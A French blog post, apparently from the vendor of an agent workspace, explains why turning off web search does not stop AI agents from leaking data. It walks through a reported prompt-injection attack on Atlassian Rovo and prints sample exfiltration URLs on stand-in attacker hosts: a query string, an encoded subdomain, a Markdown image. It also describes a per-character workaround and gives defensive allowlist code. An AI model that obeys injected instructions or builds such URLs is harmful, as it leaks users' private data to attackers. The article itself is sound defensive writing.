Pourquoi désactiver la recherche web n'empêche pas les fuites de données des agents IA

En résumé : Désactiver la recherche web n’empêche pas les fuites de données issues des agents d’IA, car cette option masque une fonctionnalité sans pour autant désactiver l’outil sous-jacent. Si l’agent peut encore ouvrir une URL, afficher une image ou appeler un connecteur, une instruction injectée peut incorporer vos données au sein d’une requête. La solution doit être déterministe : l’agent ne doit être autorisé à récupérer que les URL saisies par un utilisateur ou renvoyées par un outil de confiance.

La plupart des équipes considèrent l’interrupteur de recherche web comme le bouton d’arrêt d’urgence pour les risques de requêtes sortantes. Ce n’est pas le cas. En août 2026, PromptArmor a démontré une attaque contre Atlassian Rovo qui fonctionnait même lorsque la recherche web était désactivée à l’échelle de l’organisation. Et la raison sous-jacente s’applique à n’importe quel agent, qu’il soit développé en interne ou acheté sur étagère.

Voici en détail : les canaux de fuite, les raisons pour lesquelles les correctifs habituels échouent et la règle à appliquer impérativement. Nous développons Sharkly, un espace de travail dans lequel les agents de codage prennent en charge des tâches depuis un tableau partagé ; ces questions nous concernent donc directement. Le problème de l’injection de prompts n’est résolu nulle part, y compris au sein des agents de développement exécutés par Sharkly.

Ce que contrôle réellement l’option de recherche web (et ce qu’elle ignore)

Le bouton de recherche web détermine uniquement si l’agent a le droit d’interroger un moteur de recherche. Il n’a aucun impact sur l’outil distinct qui ouvre une URL et en lit la réponse. Si cet outil de récupération (« fetch ») reste actif, l’agent peut toujours envoyer une requête à n’importe quel serveur sur Internet, et chaque requête transporte des données dans son adresse.

La recherche renvoie une liste de liens. La récupération prend un lien et effectue une requête HTTP. C’est lors de cette récupération que les données quittent votre environnement.

Tout le constat établi sur Rovo repose sur cet écart. L’analyse de PromptArmor souligne que le paramètre de recherche web « ne supprime pas l’outil permettant d’ouvrir les résultats de recherche ». L’administrateur de l’organisation avait désactivé la recherche, mais l’outil de récupération était resté actif.

Comment un agent construit une URL d’exfiltration

L’injection de prompt indirecte consiste pour un attaquant à dissimuler des instructions dans un contenu que l’agent consultera ultérieurement : un fichier, un ticket, une page web. Le modèle ne parvient pas à distinguer avec certitude votre requête initiale des textes rencontrés en cours de route. La chaîne d’attaque sur Rovo, telle que décrite par PromptArmor, se déroule en cinq étapes :

1. Une victime téléverse un fichier, un « Guide du Backlog », contenant une instruction cachée.
2. Plus tard, la victime demande à Rovo d’organiser ses tickets Jira.
3. Rovo effectue une recherche dans Jira et Confluence et lit le fichier piégé dans le cadre de sa tâche.
4. L’instruction injectée ordonne à Rovo d’ajouter le contenu des tickets et de Confluence à l’URL de l’attaquant, puis de l’ouvrir avec l’outil de récupération d’URL.
5. Le serveur de l’attaquant enregistre la requête et les données associées dans ses journaux. De son côté, la victime voit s’afficher des suggestions de tickets tout à fait normales.

Aucun clic, aucune demande de confirmation. PromptArmor cite d’autres vecteurs d’injection possibles : les tickets de support, les résultats web lorsque la recherche est activée, ainsi que les connecteurs tiers.

Le point névralgique se situe à l’étape 4. PromptArmor indique qu’il n’existe « aucune protection contre l’ouverture d’une URL générée dynamiquement par l’agent ». L’agent ayant lui-même rédigé l’adresse, celle-ci peut renfermer l’intégralité des informations qu’il a pu lire.

À quoi ressemble une URL d’exfiltration ?

En voici la structure, illustrée avec un domaine fictif :

https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri

L’attaquant lit le paramètre d= dans ses journaux d’accès. L’agent s’est contenté d’effectuer une requête GET, ce pour quoi l’outil de récupération a été conçu.

Pourquoi supprimer les chaînes de requête ne suffit pas : fuites par sous-domaine et DNS

Filtrer la partie située après le ? dans une URL est le premier réflexe de correction. Cela ne fonctionne pas. Dans le fil Hacker News (306 points, 138 commentaires), Simon Willison a souligné qu’avec une configuration DNS générique (wildcard DNS), les données peuvent directement être intégrées au nom d’hôte :

https://cHJvZCBkYiBjcmVkcw.attacker.example/

Le serveur DNS de l’attaquant répond pour tous les sous-domaines et enregistre chaque requête. Les données s’échappent dès la résolution de nom, avant même qu’une quelconque requête HTTP n’aboutisse. Un autre intervenant a précisé que les données peuvent se glisser dans n’importe quelle composante de l’URL, y compris le champ des identifiants d’authentification.

La règle ne peut donc pas être de « nettoyer l’URL ». Comme le formule Willison, la véritable exigence est « l’impossibilité absolue de construire dynamiquement une URL ».

Le canal d’exfiltration par image Markdown

Certains agents n’ont même pas besoin d’outil de récupération pour faire fuiter des informations. Si l’interface de chat affiche des images Markdown provenant de domaines externes, le modèle peut simplement insérer ceci dans sa réponse :

![status](https://img.attacker.example/p.png?d=PROJ-412-summary)

Le navigateur de l’utilisateur charge l’image et transmet la requête, sans qu’aucun clic ne soit requis. PromptArmor note que Rovo affiche les images Markdown dans les réponses de l’IA et qualifie cette méthode de vecteur d’exfiltration connu, bien que leur rapport ne détaille pas de chaîne d’attaque spécifique à Rovo sur ce point.

Ce canal se situant au niveau de la couche de rendu, aucun paramétrage des outils de l’agent ne peut l’intercepter.

Pourquoi restreindre aux « URL pré-indexées » laisse encore fuiter des données, caractère par caractère

Une stratégie d’atténuation consiste à n’autoriser l’agent à ouvrir une URL que si un robot d’indexation l’a déjà répertoriée. Un attaquant ne peut en effet pas faire indexer une URL contenant votre secret, car ce dernier n’existait pas publiquement auparavant.

Johann Rehberger (wunderwuzzi23 sur Hacker News) a expliqué la parade à cette mesure. Imaginez un attaquant qui pré-publie une page par caractère, de /a à /z, et les fait indexer. L’injection ordonne ensuite à l’agent de visiter la page correspondant à chaque caractère du secret, dans l’ordre. L’attaquant n’a plus qu’à lire la séquence des requêtes dans ses journaux.

C’est lent et très bruyant, mais cela fonctionne. Le constat de Rehberger est clair : chaque mesure rend les attaques plus coûteuses, mais pas impossibles. Il souligne néanmoins que les listes d’autorisation de domaines (allowlists) restent efficaces pour les agents à usage ciblé, puisqu’elles bloquent catégoriquement les points de terminaison contrôlés par un attaquant.

La règle déterministe : ne récupérer que les URL fournies par une personne ou un outil de confiance

La seule solution fiable ne consiste pas à demander au modèle d’être plus vigilant, mais à lui retirer toute latitude quant au choix de la destination :

• Autorisée : une URL saisie textuellement par l’utilisateur dans la conversation.
• Autorisée : une URL renvoyée à l’identique par un outil de confiance, telle qu’un résultat de recherche.
• Bloquée : toute URL construite, modifiée ou complétée par le modèle.

Cette contrainte doit être appliquée au niveau du code, en dehors du modèle. Maintenez un ensemble d’URL introduites dans la conversation par des sources fiables et rejetez toute récupération dont la chaîne exacte ne figure pas dans cet ensemble :

allowed_urls: set[str] = set()

def on_user_message(text: str) -> None:
    allowed_urls.update(extract_urls(text))

def on_search_results(results: list[dict]) -> None:
    allowed_urls.update(r["url"] for r in results)

def fetch(url: str) -> str:
    if url not in allowed_urls:
        raise PermissionError(f"blocked agent-built URL: {url[:60]}")
    return http_get(url)

Deux limites subsistent. Ce contrôle ne couvre pas le canal des images ; vous devez donc impérativement bloquer les images externes lors du rendu visuel. Par ailleurs, il n’empêche pas l’astuce de fuite caractère par caractère si un outil de confiance est susceptible de renvoyer des listes influencées par un attaquant — raison pour laquelle une liste d’autorisation de domaines s’impose en complément pour les agents spécialisés.

C’est l’illustration même du « trio mortel » (lethal trifecta) de Willison : des données privées, du contenu non fiable et un canal sortant. Impossible de supprimer les deux premiers éléments d’un agent utile, mais vous pouvez rendre le troisième déterministe. L’OWASP classe l’injection de prompt en LLM01 pour cette même raison : aucune solution reposant uniquement sur le modèle n’est infaillible.

Check-list pour quiconque développe ou achète un agent

Posez-vous ces questions pour chaque agent ayant accès à des données sensibles :

1. Listez chaque outil susceptible d’émettre une requête réseau : fetch, navigateur, connecteurs, webhooks, e-mails.
2. Chaque option de désactivation supprime-t-elle réellement l’outil, ou se contente-t-elle de masquer la fonctionnalité qui s’en sert ?
3. L’agent peut-il ouvrir une URL qu’il a lui-même assemblée ?
4. Les images Markdown externes sont-elles affichées dans les réponses générées ?
5. Existe-t-il une liste d’autorisation de domaines, et qui en a la gestion ?
6. Quelles sources peuvent injecter des instructions : fichiers téléversés, tickets, résultats web, connecteurs ?
7. Comment le fournisseur a-t-il traité son dernier rapport de sécurité externe, et dans quels délais ?

Dans le cas de Rovo, la chronologie publique répond à la question 7 : PromptArmor a signalé la faille le 23 mai 2026, Atlassian en a accusé réception le 25 mai, les relances des 4 juin et 29 juillet sont restées sans réponse, et l’article a été publié le 5 août alors que Rovo était toujours vulnérable. [À VÉRIFIER 27/10/2026 : aucun correctif ni déclaration d’Atlassian trouvé pour cette trajectoire ; revérifier avant publication.]

Notez que Rovo Dev, l’agent de développement d’Atlassian, est un produit distinct de l’assistant Rovo concerné par cette découverte ; notre article sur l’offre gratuite de Rovo Dev traite de ce sujet.

Ce que cela implique pour les agents de codage dans Sharkly

Les agents de codage parcourent des textes non fiables à longueur de journée : descriptions de tickets, fichiers README, pages web consultées. Sharkly ne rend pas Claude Code ou Codex invulnérables à ces risques.

Ce que Sharkly transforme, en revanche, c’est la maîtrise du périmètre des flux sortants. Les agents s’exécutent sur vos propres Computers via un service local. La documentation sur les Computers précise que le Computer « fournit le système d’exploitation, les fichiers, les identifiants, l’accès réseau et les outils nécessaires à un Agent ». Placez un Computer derrière une liste d’autorisation de flux sortants (egress) et chaque exécution héritera automatiquement de cette restriction, quel que soit l’agent employé.

Quelques autres garde-fous mentionnés dans la documentation :

• Les invités n’ont accès qu’aux Espaces (Spaces) auxquels ils sont expressément ajoutés.
• Les actions dans les applications tierces requièrent un connecteur préalablement autorisé.
• La documentation sur les Compétences (Skills) préconise de ne jamais stocker de mots de passe, jetons ou clés dans les instructions ou fichiers de Skill, évitant ainsi qu’un agent compromis ne puisse les y dérober.

Rien de tout cela n’empêche un agent d’abuser des accès dont il dispose déjà. Nos articles sur les permissions des agents de codage, les portes d’approbation et les garde-fous contre l’injection de prompts détaillent la manière de fixer ces limites.

Conclusion

L’interrupteur de recherche web est une simple option logicielle, pas un contrôle de sécurité. Les données s’échappent par tout ce qui est capable d’émettre une requête : un outil de récupération, une résolution de nom d’hôte, une balise d’image. Verrouillez ces chemins directement dans le code, en dehors du modèle.

Votre prochaine étape : passez en revue cette check-list en sept points sur l’un des agents utilisés par votre équipe dès cette semaine, en commençant par la question 3. Si vous exécutez des agents de codage sur plusieurs Computers, configurez Sharkly et placez chacun d’eux sous la protection des règles de filtrage sortant auxquelles vous faites déjà confiance.

FAQ

La désactivation de la recherche web neutralise-t-elle l’injection de prompts ?

Non. L’injection de prompts peut provenir de n’importe quel contenu consulté par l’agent, notamment des fichiers téléversés, des tickets ou des données issues de connecteurs. Désactiver la recherche ne fait que supprimer une source de contenu non fiable parmi d’autres : l’injection peut toujours emprunter d’autres voies d’entrée et s’exfiltrer par un outil de récupération.

Qu’est-ce que l’exfiltration de données par URL ?

Il s’agit d’une méthode où l’agent intègre des données confidentielles directement au sein d’une URL avant d’émettre une requête vers celle-ci. Le serveur de l’attaquant consigne la requête dans ses journaux et récupère les données. Nul besoin de logiciel malveillant : un agent capable de générer et d’ouvrir des URL arbitraires suffit.

Les images Markdown constituent-elles un risque de sécurité dans un chat d’IA ?

Oui, dès lors que l’interface charge et affiche des images provenant de domaines externes. Le navigateur télécharge automatiquement l’URL de l’image, de sorte que toute donnée injectée par le modèle dans l’adresse parvient à l’attaquant sans qu’aucune action de l’utilisateur ne soit nécessaire.

Une liste d’autorisation de domaines est-elle suffisante ?

Pour un agent spécialisé ne sollicitant qu’une poignée de domaines, la liste d’autorisation constitue le mécanisme de contrôle le plus robuste. Pour un assistant polyvalent, elle reste difficile à maintenir strictement : il convient donc de la combiner avec la règle interdisant formellement à l’agent de récupérer une URL qu’il a lui-même assemblée.

Atlassian a-t-elle corrigé la faille d’exfiltration de Rovo ?

Au 27 octobre 2026, nous n’avons trouvé aucune déclaration d’Atlassian ni aucun correctif confirmé pour la méthode publiée par PromptArmor. Consultez la page de PromptArmor ainsi que les bulletins de sécurité d’Atlassian pour suivre l’évolution de la situation.